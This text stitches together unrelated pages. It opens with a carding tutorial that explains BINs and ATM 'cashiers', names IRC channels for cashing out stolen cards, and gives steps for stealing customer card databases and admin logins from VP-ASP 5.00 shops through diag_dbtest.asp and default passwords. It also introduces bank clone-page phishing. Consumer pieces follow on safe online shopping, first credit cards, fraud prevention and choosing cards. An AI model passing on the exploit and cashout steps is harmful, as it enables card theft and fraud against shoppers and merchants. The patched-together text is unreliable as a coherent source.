Credit Card Hacking

 Here will be explained all methods used to hack credit cards and bank accounts with lots of $$ it. Now I'm sure most of you think that this is fake or scam, but i want to just tell u this is real and the only working method (in my opinion) to hack a credit card and make your wish come true (lol, hope it doesn't sound like a commercial). <

This tutorial is divided in two parts.

Introduction into Credit Cards

Credit card Hacking

Note: Hacking credit cards is an illegal act, this is only informational post and I am not responsible for any actions done by you after reading this tutorial. This post is for educational purposes only.

Lets start with some easy terms.

What is credit card ?

Credit cards are of two types:

Debit Card

Credit Card

1. Debit means u have a sum of amount in it and u can use them.

2. Credit means u have a credit line limit like of $10000 and u can use them and by the end of month pay it to bank.

To use a credit card on internet u just not need cc number and expiry but u need many info like :

First name

Last name

Address

City

State

Zip

Country

Phone

CC number

Expiry

CVV2 ( this is 3digit security code on backside after signature panel )

If you get that info you can use that to buy any thing on internet, like software license, porn site membership, proxy membership, or any thing (online services usually, like webhosting, domains).

If u want to make money $ through hacking then you need to be very lucky... you need to have a exact bank and bin to cash that credit card through ATM machines.

Let me explain how ?

First study some simple terms.

BINS = first 6 digit of every credit card is called " BIN " (for example cc number is : 4121638430101157 then its bin is " 412163 "), i hope this is easy to understand.

Now the question is how to make money through credit cards. Its strange..., well you cant do that, but there is specific persons in world who can do that. They call them selves " cashiers ". You can take some time to find a reliable cashiers.

Now the question is every bank credit cards are cashable and every bin is cashable? Like citibank, bank of america , mbna .. are all banks are cashables ? Well answer is " NO ". If u know some thing, a little thing about banking system, have u ever heard what is ATM machines? Where u withdraw ur cash by putting ur card in.

Every bank don't have ATM, every bank don't support ATM machines cashout. Only few banks support with their few bins (as u know bin is first 6 digit of any credit / debit card number), for suppose bank of america. That bank not have only 1 bin, that bank is assigned like, 412345 412370 are ur bins u can make credit cards on them. So bank divide the country citi location wise, like from 412345 - 412360 is for americans, after that for outsiders and like this. I hope u understand. So all bins of the same bank are even not cashable, like for suppose they support ATM in New York and not in California, so like the bins of California of same bank will be uncashable. So always make sure that the bins and banks are 100% cashable in market by many cashiers.

Be sure cashiers are legit, because many cashiers r there which take your credit card and rip u off and don't send your 50% share back.

You can also find some cashiers on mIRC *( /server irc.unixirc.net:6667 ) channel : #cashout, #ccpower

Well, check the website where u have list of bins and banks mostly 101% cashable. If u get the credit card of the same bank with same bin, then u can cashout otherwise not . Remember for using credit card on internet u don't need PIN ( 4 words password which u enter in ATM Machine ), but for cashout u need. You can get pins only by 2nd method of hacking which i still not post but i will. First method of sql injection and shopadmin hacking don't provide with pins, it only give cc numb cvv2 and other info which usually need for shopping not for cashing.

Credit Card Hacking

CC (Credit Cards) can be hacked by two ways:

Credit Card Scams ( usually used for earning money , some times for shopping )

Credit Card Shopadmin Hacking ( just for fun, knowledge, shopping on internet )

1. Shopadmin Hacking 

This method is used for testing the knowledge or for getting the credit card for shopping on internet, or for fun, or any way but not for cashing ( because this method don't give PIN - 4 digit passcode ) only gives cc numb , cvv2 and other basic info.

Shopadmins are of different companies, like: VP-ASP , X CART, etc. This tutorial is for hacking VP-ASP SHOP.

I hope u seen whenever u try to buy some thing on internet with cc, they show u a well programmed form, very secure. They are carts, like vp-asp xcarts. Specific sites are not hacked, but carts are hacked.

Below I'm posting tutorial to hack VP ASP cart. Now every site which use that cart can be hacked, and through their *mdb file u can get their clients 'credit card details', and also login name and password of their admin area, and all other info of clients and comapny secrets.

Lets start:

Type: VP-ASP Shopping Cart

Version: 5.00

How to find VP-ASP 5.00 sites?

Finding VP-ASP 5.00 sites is so simple...

1. Go to google.com and type: VP-ASP Shopping Cart 5.00

2. You will find many websites with VP-ASP 5.00 cart software installed

Now let's go to the exploit..

The page will be like this: ****://***.victim.com/shop/shopdisplaycategories.asp

The exploit is: diag_dbtest.asp

Now you need to do this: ****://***.victim.com/shop/diag_dbtest.asp

A page will appear contain those:

xDatabase

shopping140

xDblocation

resx

xdatabasetypexEmailxEmail NamexEmailSubjectxEmailSy stemxEmailTypexOrdernumbe r

Example:

The most important thing here is xDatabase

xDatabase: shopping140

Ok, now the URL will be like this: ****://***.victim.com/shop/shopping140.mdb

If you didn't download the Database, try this while there is dblocation:

xDblocation

resx

the url will be: ****://***.victim.com/shop/resx/shopping140.mdb

If u see the error message you have to try this :

****://***.victim.com/shop/shopping500.mdb

Download the mdb file and you should be able to open it with any mdb file viewer, you should be able to find one at download.com, or use MS Office Access.

Inside you should be able to find credit card information, and you should even be able to find the admin username and password for the website.

The admin login page is usually located here: ****://***.victim.com/shop/shopadmin.asp

If you cannot find the admin username and password in the mdb file or you can but it is incorrect, or you cannot find the mdb file at all, then try to find the admin login page and enter the default passwords which are:

Username: admin

password: admin

OR

Username: vpasp

password: vpasp

2. Hacking Through Scams

This method is usually used to hack for earning money. What happens in this method is you create a clone page.

Target: its basically eBay.com or paypal.com for general credit cards, or if u want to target any specific cashable bank like regionbank.com then u have to create a clone page for that bank.

Online safetYYY

Online Shopping

Online shopping is convenient, easy, and quick. However, the Internet has unique risks, so it is important to take steps to protect yourself when shopping online.

Tune up your defenses.

Check sellers out.

Make sure the site is legitimate.

Take advantage of security features.

Protect your personal information.

Use safe payment options.

Keep a paper trail.

Turn your computer off when you’re finished shopping.

Be wary of emails requesting information.

Tune up your defenses.

Before you shop online, make sure you have a security suite (firewall, anti-virus and anti-spyware) installed and updated with the most current information.  Also, keep your operating system and Web browser up-to-date. Apply the highest level of security available that still gives you the functionality you need.

Check sellers out.

Conduct independent research before you buy from a seller you have never done business with. Some attackers try to trick you by creating malicious Web sites that appear legitimate, so you should verify the site before supplying any information. Locate and note phone numbers and physical addresses of vendors in case there is a problem with your transaction or your bill. Search for merchant reviews.

Make sure the site is legitimate. 

Before you enter your personal and financial information to make an online transaction, look for signs that the site is secure. This includes a closed padlock on your Web browser’s address bar or a URL address that begins with shttp or https. This indicates that the purchase is encrypted or secured. Never use unsecured wireless networks to make an online purchase. Check out this GetNetWise tutorial for more info. 

Take advantage of security features. 

Passwords and other security features add layers of protection if used appropriately. In a rush to complete a transaction with a new vendor, it is tempting to create a simple password that you won’t forget. However, it is not hard to create complex, yet easily remembered passwords.

Protect your personal information.

When making a purchase online, be alert to the kinds of information being collected to complete the transaction. Make sure you think it is necessary for the vendor to request that information. Remember, you only need to fill out required fields on a vendors checkout form. Before providing personal or financial information, check the Web site's privacy policy. Make sure you understand how your information will be stored and used.

Use safe payment options.

Credit cards are generally the safest option because they allow buyers to seek a credit from the issuer if the product isn’t delivered or isn’t what was ordered. Also, unlike debit cards, credit cards may have a limit on the monetary amount you will be responsible for paying if your information is stolen and used by someone else. Never send cash through the mail or use a money-wiring service because you’ll have no recourse if something goes wrong.  Don’t forget to review return policies. You want a no-hassle ability to return items.

Keep a paper trail.

Print and save records of your online transactions, including the product description, price, online receipt, terms of the sale, and copies of any email exchange with the seller. Read your credit card statements as soon as you get them to make sure there aren’t any unauthorized charges. If there is a discrepancy, call your bank and report it immediately.

Turn your computer off when you’re finished shopping.

Many people leave their computers running and connected to the Internet all day and night. This gives scammers 24/7 access to your computer to install malware and commit cyber crimes. To be safe, turn off your computer when you are not using it.

Be wary of emails requesting information.

Attackers may attempt to gather information by sending emails requesting that you confirm purchase or account information.  Legitimate businesses will not solicit this type of information through email. Contact the merchant directly if you are alerted to a problem. Use contact information found on your account statement, not in the email. 

Using Your Credit Card Safely for Internet Purchases

SAFETY MEASURES

You may be a veteran online shopper, or you might be just contemplating making your first credit card purchase over the Internet. Either way, you should take certain precautions when using your credit card online.

In most cases, using your credit card online is just as safe as charging purchases at your favorite store. There are safeguards you can use to prevent fraud and abuse when charging items online. The following will help you have peace of mind as you shop the Internet.

Designate one credit card exclusively for online use. This will enable you to track your online charges, and to easily identify Internet credit card fraud if it occurs.

When ordering online, print and save the receipt. Compare this receipt to your monthly credit card statement.

When you receive your monthly credit card statement, review it carefully. Contact the credit card company immediately with any discrepancies.

Immediately report to your credit card company any lost or stolen credit cards or any fraudulent activity with your card.

Do business only with secure sites. These sites use encryption when submitting data over the Internet. Computer users can quickly identify whether a site is using encryption by looking for the closed lock or closed key symbol in the browser. If the lock or key are closed, the site is using encryption software and is secure. Do not send your credit card information unless the site is secure. Although encrypted sites do not guarantee against fraudulent activity, the encryption should prevent your personal information from being stolen before it arrives at the intended site.

It is never a good idea to send your credit card information by email. If there is no other way to get the credit card information to the intended user, it is a good idea to send parts of the information in multiple emails, i.e., send half your number in one email, half in a second email and the expiration date in a third email.

When using passwords, do not use common names or your Social Security number. Mix letters (upper and lower case) and numbers whenever possible.

Try to do business with reputable sites only. Although this may be difficult over the Internet, trust your instincts. If the site does not appear legitimate or if the offer is "too good to be true," don't take the chance on ordering.

If fraudulent activity occurs with your credit card, excluding electronic funds transfer (ATM), you will be responsible only for the first $50 of fraudulent charges (per card). Many financial institutions will waive this fee if asked.

Overall the Internet is a fairly safe place to do online credit card shopping. Follow the guidelines above, and always check your monthly statements against your records of what you actually purchased.

Securities offered by Affinity Investment Services, LLC, 73 Mountain View Boulevard, Basking Ridge, NJ 07920, member FINRA/SIPC. Investments offered by Affinity Investment Services are not deposits or obligations of Affinity Federal Credit Union. They are NOT NCUA INSURED and NOT GUARANTEED by Affinity Federal Credit Union or any governmental agency and are subject to INVESTMENT RISK, including LOSS of PRINCIPAL. Investments may lose value. Affinity Investment Services, LLC is a wholly owned subsidiary of Affinity Federal Credit Union. Business Continuity Disclosure Statement.

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How To Get Your First Credit Card

Eighteen is a liberating age. You're legally an adult. You can vote. And, you can get a credit card. As eager as you may be to get your first credit card, many credit card companies aren't so eager to give you one. Rather than putting in several credit card applications, target just a few companies that are known for giving credit cards to first-timers.

Credit cards for students

The sad truth is, credit card companies are more than willing to dole out credit cards to college students. If you're enrolled in college, you have a very good chance of getting approved for a student credit card. Be wary, credit card companies are notorious forpreying on college students. Start with only one credit card, no matter how many other offers you get. 

Look closely at student credit card offers. Some of them are awful deals – high interest rates, annual fees – with a student label attached to make you think the credit card is just for you. That’s not necessarily true. A great first credit card has a lower APR, no annual fee, and may not have student in the title.

Best Credit Cards for Students

The bank of your checking or savings account

If you've been responsible with a checking or savings account, you can try applying for a credit card at your bank. Talk to a bank representative about opening up your first credit card. Having an existing relationship will improve your chances at getting a credit card application approved. You could simply apply online, but visiting a bank branch would put you face-to-face with a representative who may have more authority to get your application approved.

A department store or gas credit card

Department stores and gas companies typically have easy credit card approval. This can make getting your first credit card less complicated. On the downside, they have high interest rates that make it expensive to carry a balance from one month to the next.

Another downside of these cards is that you can only use them for that store or gas station. They limit what you can purchase, but encourages you to go on a spending spree by offering discounts.

Tips For Using Department Store and Gas Credit Cards

A secured credit card

When your (lack of) credit history keeps you from getting a standard credit card, you can apply for a secured credit card. With a secured credit card, you make a deposit against the credit limit of the account. The bank holds the deposit just in case you don't make your payments as agreed. Many credit card issuers will convert your secured credit card to an unsecured one as long as you make your monthly payments on time. Don’t worry that a secured credit card will hurt your chances at getting other credit cards – there’s nothing on your credit report to indicate you have a secured credit card.

How To Choose a Secured Credit Card

How to Qualify

If you're over age 18, but under 21, the Credit CARD Act of 2009 requires the credit card issuer to confirm that you have your own income before they give you a credit card. And starting October 1, 2011, you can’t qualify for a credit card using mom and dad’s income, even if they’re going to pay your credit card bill. Your source of income can be a part-time job making just $300 a week, but the credit card company has to decide that your income is enough for the credit limit you're given. 

Applicants under 21 without their own income can only get a credit card with a co-signer over 21 who does have the right income.

Choose a Credit Card for Moderate or Limited Credit

Certain websites review credit cards and include the type of credit history you must have to get approved for that credit card. If you have limited credit history or a fair credit score, look for credit cards that accept applicants with moderate credit to improve your chances of getting approved for a credit card. There’s no use applying for a credit card that requires excellent credit because you’re more likely to be denied.

Securing your credit card

One of the most widespread forms of theft today is credit-card theft and fraud. In today's society, you can virtually conduct all of your daily cash transactions with a credit card. You can buy gas for your cars, groceries, rent DVDs, see movies or enjoy an entire evening of entertainment without using cash. You can simply charge it or use your checking debit card just like cash.

Because of the convenience in this type of theft and fraud, criminals are costing us billions of dollars each year in credit-card interest rates and the rising cost of merchandise. Until credit-card companies find a solution to the fraudulent use of credit cards and store merchants begin checking the identities of the person using the credit card, this will continue to be a popular form of theft and fraud.

The fraudulent use of credit cards is not limited to the loss or theft of credit cards. A capable criminal only needs to know your credit-card number to fraudulently make numerous charges, including cash withdrawals, against your account. The following are a number of crime prevention tips or recommendations to guard against the illegal use of credit cards.

•Photocopy both the front and back of all your credit cards and keep copies in a safe and secure location. This will enable you to cancel your credit card as soon as possible if it is lost or stolen. (Most cards have the toll-free number on them to cancel your account.)

•Endorse all credit cards as soon as you get them. Just above your signature, write the statement "Please Ask for Identification."

•Carry only the minimum number of credit cards actually needed and never leave them unattended.

•When you write a check, never allow the salesperson to write down your credit-card number on the check. If paying by credit card, never let the salesperson write down your driver's license or social security number.

•Avoid signing a blank receipt, whenever possible. Draw a line through blank spaces above the total when you sign card receipts.

•Unless you are absolutely confident you are dealing with a reputable company, never give your credit card account number over the telephone.

•Don't be fooled by a scam where a con artist wants to verify your credit-card number because you won a prize. One current scam involves con artists who call at random. The thief informs the victim that if their VISA card begins with the number four, the victim wins a prize. However, all VISA cards begin with the number four, and all MASTERCARDs begin with the number five. The only prize the cardholder gets is the fraudulent use of their credit card.

•Notify credit-card companies in advance of a change of address.

•Destroy unused credit-card applications, such as those received in the mail advising the recipient "you have been pre-approved for…"

•Open billing statements promptly and reconcile your card amounts each month, just as you would your checking account.

•If you receive a letter stating you should have received a credit card in the mail, and you have not received it, notify the company or lending institution immediately.

•Beware of vendors calling and attempting to sell you merchandise or gifts over the telephone. Don't give them your credit-card number.

•When you use a credit card to make a purchase, maintain visual contact with the card and make sure no extra imprints of your card are made to other charge slips. Destroy all of the carbons so no one can obtain your account number.

•Be aware of anyone standing near you when you use your card and PIN number. They may have a cellular telephone with a built-in camera that will record your information.

•It is a good idea to retain your credit-card receipts and check them to your monthly billing statement.

•In the event your credit card is lost or stolen, immediately notify the credit-card company. Most issuing banks and companies can be reached 24 hours a day, 365 days a year. The majority of fraudulent purchases are made within 48 hours of the loss.

Credit-card thieves may sometimes call the victim, informing the person that their credit card has been found and that it is being returned. This ploy gives the thief time to go on a charging spree because the cardholder never calls to cancel the card.

By virtue of the Fair Credit Billing Act (FCBA), if you report the loss of a credit card before it is used, the card issuer cannot hold you responsible for any unauthorized charges. If a thief uses your credit card before you report it missing, the most you will owe for unauthorized charges on each card is $50.

Economy Project: Picking The Right Credit Card

In yesterday's KERA economy segment, we looked at what new changes in credit card regulations will mean for consumers when they take effect in February. Today, we go a step further with help for choosing a credit card. Todd Mark of Consumer Credit Counseling Services of Dallas says avoid the mail offers and shop around, but know your credit score determines what you'll get.

Mark: If you've got a great score, guess what? The sky's the limit and you should be looking for what's the best cash back opportunity. Is it frequent flyer miles or is it one percent cash back to your favorite shopping stores?

Sam: But now aren't those kind of incentives just to get you to spend more money?

Mark: It is, but if you've got a good score there's a good chance you're using credit the way I want to see you use credit. And that's using it where you're paying it off on time and in full every month. Remember if you do that it doesn't matter how much you spend, it's not costing you a penny in interest.

Sam: Let's say then that you're someone who carries a balance every month, but you pay more than the minimum.

Navigate the recession with KERA! Get tips on avoiding foreclosure, access job resources and more atkera.org/economy.

Mark: At that point, you're looking for what's the cheapest card, what are the cheapest interest rates. And of course if you're carrying a serious balance, or say you've had delinquencies in the past, and your score is problematic. You may not qualify for the best deals and you're saying do I have to worry about annual fees or application fees? What are my late fees or balance transfer fees? And certainly, what kind of interest rate are we looking at? You would generally see folks in the ten to fifteen percent range if they've got decent credit and you'll certainly find teasers in the zero, three, six percent range. But if you've got problem credit, we see people regularly in the high twenties, the thirties. And folks that are really troubled, we see some forty percent interest rates on credit cards.

Sam: I didn't know interest rates went that high.

Mark: They do. If you are truly subprime and you are dealing with a lender that is not necessarily looking out for your best interest, you can go that high.

Sam: Shopping around though almost means doing business perhaps with a bank or credit card company that is not maybe even in your city.

Mark: Certainly

Sam: Is that wise? Are you better off dealing with whomever you regularly do business with?

Mark: Well, there's banking relationships and then there's a credit card relationship. For banking, I always want to have a relationship with a local bank or a credit union so that you're not just a number or you're not some process on the internet. But you can go in, sit across a desk from somebody and say here are my needs or I need a loan or there's a problem you need resolved you want to be able to have that face to face relationship. Now if we're talking about a credit card. I've got two credit cards in my wallet. One of them I opened up twenty years ago when I was back in college. I didn't know the bank at the time and I don't have a relationship with anybody at a local bank now, although it's a very well known national bank. I've never had a problem of dealing with them because I always pay it off in time and in full every month. So for me, I don't really care about the relationship with the credit. It was what they were giving back to me as far as a loyalty program, and that's the most important thing.

Sam: Are those offers that come in the mail all the time so bad?

Mark: You know, it always depends on your credit. You may get a preapproved offer, or it says it's preapproved, and it's a mass mailing that they send out to millions of people. And you reply back and say, "This is the deal I want- it's better than anything I found online." And they say "Oh well we're so sorry you didn't qualify for this one but with your credit score we can give you this." So it's almost like a lost leader to get you on the phone or online with them to talk about what you truly would qualify for. So some of the deals, if you qualify for them, they could be fantastic But I'd rather you proactively go out and seek, with your credit, what's the best you can do. Don't just accept what comes through the mail.

Sam: In the end, with all of these choices out there for how to manage credit, what type of credit cards to use, does any of that matter if you're using credit irresponsibly?

Mark: Absolutely not. Credit is a very powerful tool if used responsibly. But if you're using it to buy today what you can't pay for tomorrow, you're just becoming enslaved to a debt that's going to cost you so much over.

Todd Mark is Vice President of Education for Consumer Credit Counseling Services of Dallas.

Most of the provisions in the Credit CARD Act take effect in February. Provisions concerning more time to pay, retroactive rate increases, and more advance notice of rate hikes began in August of 2009. Todd Mark is Vice President of Consumer Credit Counseling Services of Dallas. For more information on this and other issues to the economy, go to the blog area of kera.org/economy.

Choose the right credit card to suit your situation

(Getty Images News)

By KARA McGUIRE

Minneapolis Star Tribune

Since the credit crisis and this economic downturn took hold, most credit card companies are re-evaluating risk and changing the terms -- even for their best customers. A week doesn't go by without a reader sharing a nightmarish story about a closed card, a lowered credit limit or jacked-up interest rates and higher fees.

I always appreciate feedback from readers. But there's something more they should do about their lousy credit card than complain to me about it: Shop around.

Yes, it's harder to be approved for credit these days, and who knows if the good-looking cards of today will keep their attractive terms tomorrow. Many American Express cardholders, for example, received letters about rising fees and interest rates right before rules about giving customers 45 days notice of such changes went into effect. With more credit card reform on the way, banks are experimenting with ways to keep their credit card business highly profitable.

But it's worth trying to find a needle in the plastic haystack, right?

Unfortunately, finding a great card among the thousands out there is no fun. So I enlisted the help of four credit card experts who have made it their business to recommend cards to customers: Curtis Arnold of CardRatings.com, Bill Hardekopf of lowcards.com, Adam Jusko of indexcreditcards.com and Schwark Satyavolu of Billshrink.com. You can also do your own research for free on their sites.

Carry a balance?

Focus on finding the lowest interest rate. Period.

For people who don't pay off their bills in full each month but have excellent credit, a favorite among our panel of experts is the Simmons First National VISA Platinum for its 7.25 percent variable rate.

Previous credit concerns?

If your credit is less than stellar, Jusko says to try the Citi Forward Card. Pay your bill on time and stay below your credit limit and you can reduce your rate (advertised as 14.25 percent) and earn bonus points toward rewards.

Satyavolu likes the U.S. Bank Visa Signature card with its 9.99 percent variable rate. It does have a $75 annual fee, but Satyavolu says "annual fees typically are worth it for people that carry an average balance of $10,000 or more."

If you're looking to transfer that balance, it's not as easy to find a 0 percent interest offer with no balance-transfer fees. Arnold directs all balance-transfer seekers with good credit to the Pentagon Federal Credit Union. Its Pentagon Federal Platinum Rewards card offers a 2.99 percent fixed annual percentage rate (APR) for life (there is a one-time 2.5 percent balance transfer fee).

As at many credit unions these days, the eligibility requirements for membership are easier to meet than you'd think. If you don't fit into one of six categories listed atwww.penfed.org/howToJoin/overview.asp, for $20 you can join the National Military Family Association as a "concerned citizen." Two other military-related financial services organizations -- First Command and USAA -- also get high marks for credit cards with reasonable terms.

New to credit? Poor credit?

All of the experts think that for most folks in this category, a secured card -- a card you guarantee with a savings deposit -- is the best option. Stick with a major issuer such as Bank of America, Citi, U.S. Bank or Wells Fargo. Arnold says to try and keep the annual fee, common with secured cards, below $40.

If you're lucky, you'll pay the fee just once because your credit will improve enough so you can apply for an annual-fee-free unsecured card within a year.

If you're in college, there's a whole category of so-called student cards geared toward you; you're not expected to have a credit history. Interest rates in this category are typically higher. But you weren't planning to carry a balance anyway, right?

Love credit card rewards?

Cash is king among this credit-loving gang. Jusko, Arnold and Hardekopf give high marks to the relatively new Schwab Bank Invest First Visa and Fidelity Retirement Rewards American Express cards. Both pay 2 percent cash back into an investment account. Although Blue Cash from American Express scaled back its rewards recently, it also was a unanimous pick. After you spend $6,500, you'll earn 5 percent cash back on groceries, gas and drugstore purchases and 1.25 percent everywhere else. It's great for the person who charges at least $1,000 a month.

Finally, another pick of the bunch is the True Earnings American Express card. It's only available to Costco members and offers 3 percent cash back on gas and restaurant purchases, 2 percent on travel and 1 percent everywhere else. This is my family's primary card.

What's in your wallet?

I asked each credit card geek which credit card he uses most. American Express dominates. Arnold and Hardekopf use the American Express Blue Cash card, although he's tempted by the Schwab cash-back card mentioned above. Satyavolu, a frequent international traveler, uses a Starwood Preferred Guest American Express Card. It has a $45 annual fee, but it earns an effective rate of 4 to 5 percent in points that can be redeemed for stays at the Starwood family of hotels. Jusko favors two cards that are no longer available to consumers, but if he switched cards today, he'd go with the True Earnings card.